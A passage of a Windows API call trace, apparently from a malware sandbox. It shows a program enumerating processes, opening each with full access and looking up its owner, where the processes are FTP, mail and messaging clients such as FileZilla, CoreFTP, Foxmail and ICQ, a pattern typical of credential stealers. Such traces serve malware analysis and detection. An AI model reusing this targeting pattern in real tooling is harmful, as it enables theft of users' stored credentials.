	[0100.690] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0100.692] SetLastError (dwErrCode=0x0) 
	[0100.692] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8bc) returned 0x160
	[0100.692] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x13c) returned 1
	[0100.692] GetTokenInformation (in: TokenHandle=0x13c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.692] GetProcessHeap () returned 0x240000
	[0100.692] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.692] GetTokenInformation (in: TokenHandle=0x13c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.692] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.694] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d190, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.855] GetProcessHeap () returned 0x240000
	[0100.855] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.855] CloseHandle (hObject=0x160) returned 1
	[0100.855] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0100.857] SetLastError (dwErrCode=0x0) 
	[0100.857] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8cc) returned 0x160
	[0100.857] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0xd0) returned 1
	[0100.857] GetTokenInformation (in: TokenHandle=0xd0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.857] GetProcessHeap () returned 0x240000
	[0100.857] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.857] GetTokenInformation (in: TokenHandle=0xd0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.858] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.859] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c210, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.861] GetProcessHeap () returned 0x240000
	[0100.861] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.861] CloseHandle (hObject=0x160) returned 1
	[0100.861] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0100.863] SetLastError (dwErrCode=0x0) 
	[0100.863] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8dc) returned 0x160
	[0100.863] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x208) returned 1
	[0100.863] GetTokenInformation (in: TokenHandle=0x208, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.863] GetProcessHeap () returned 0x240000
	[0100.863] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.863] GetTokenInformation (in: TokenHandle=0x208, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.863] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.865] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d190, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.866] GetProcessHeap () returned 0x240000
	[0100.867] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.867] CloseHandle (hObject=0x160) returned 1
	[0100.867] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0100.868] SetLastError (dwErrCode=0x0) 
	[0100.868] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8ec) returned 0x160
	[0100.869] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x218) returned 1
	[0100.869] GetTokenInformation (in: TokenHandle=0x218, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.869] GetProcessHeap () returned 0x240000
	[0100.869] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.869] GetTokenInformation (in: TokenHandle=0x218, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.869] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.871] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c210, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.872] GetProcessHeap () returned 0x240000
	[0100.872] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.872] CloseHandle (hObject=0x160) returned 1
	[0100.873] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0100.874] SetLastError (dwErrCode=0x0) 
	[0100.874] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8fc) returned 0x160
	[0100.874] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0xe4) returned 1
	[0100.874] GetTokenInformation (in: TokenHandle=0xe4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.875] GetProcessHeap () returned 0x240000
	[0100.875] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.875] GetTokenInformation (in: TokenHandle=0xe4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.875] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.877] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d190, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.878] GetProcessHeap () returned 0x240000
	[0100.878] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.878] CloseHandle (hObject=0x160) returned 1
	[0100.879] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0100.881] SetLastError (dwErrCode=0x0) 
	[0100.881] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x90c) returned 0x160
	[0100.881] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x114) returned 1
	[0100.881] GetTokenInformation (in: TokenHandle=0x114, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.881] GetProcessHeap () returned 0x240000
	[0100.881] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.881] GetTokenInformation (in: TokenHandle=0x114, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.881] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.883] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c210, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.884] GetProcessHeap () returned 0x240000
	[0100.884] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.884] CloseHandle (hObject=0x160) returned 1
	[0100.885] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0100.888] SetLastError (dwErrCode=0x0) 
	[0100.888] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x91c) returned 0x160
	[0100.888] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x120) returned 1
	[0100.888] GetTokenInformation (in: TokenHandle=0x120, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.888] GetProcessHeap () returned 0x240000
	[0100.888] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.888] GetTokenInformation (in: TokenHandle=0x120, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.889] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.890] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d190, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.892] GetProcessHeap () returned 0x240000
	[0100.892] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.892] CloseHandle (hObject=0x160) returned 1
	[0100.892] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0100.895] SetLastError (dwErrCode=0x0) 
	[0100.895] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x92c) returned 0x160
	[0100.895] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x1a0) returned 1
	[0100.895] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.896] GetProcessHeap () returned 0x240000
	[0100.896] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.896] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.896] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.417] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c250, cchName=0x114518, ReferencedDomainName=0x2c9770, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.419] GetProcessHeap () returned 0x240000
	[0101.419] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.419] CloseHandle (hObject=0x160) returned 1
	[0101.419] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0101.422] SetLastError (dwErrCode=0x0) 
	[0101.422] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x93c) returned 0x160
	[0101.422] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x254) returned 1
	[0101.422] GetTokenInformation (in: TokenHandle=0x254, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.422] GetProcessHeap () returned 0x240000
	[0101.422] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.423] GetTokenInformation (in: TokenHandle=0x254, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.423] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.424] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c290, cchName=0x114518, ReferencedDomainName=0x2c9870, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.425] GetProcessHeap () returned 0x240000
	[0101.426] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.426] CloseHandle (hObject=0x160) returned 1
	[0101.426] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0101.428] SetLastError (dwErrCode=0x0) 
	[0101.428] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x94c) returned 0x160
	[0101.428] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x170) returned 1
	[0101.429] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.429] GetProcessHeap () returned 0x240000
	[0101.429] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.429] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.429] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.430] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c250, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.432] GetProcessHeap () returned 0x240000
	[0101.432] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.432] CloseHandle (hObject=0x160) returned 1
	[0101.432] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0101.435] SetLastError (dwErrCode=0x0) 
	[0101.435] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x95c) returned 0x160
	[0101.435] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x25c) returned 1
	[0101.435] GetTokenInformation (in: TokenHandle=0x25c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.436] GetProcessHeap () returned 0x240000
	[0101.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.436] GetTokenInformation (in: TokenHandle=0x25c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.436] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
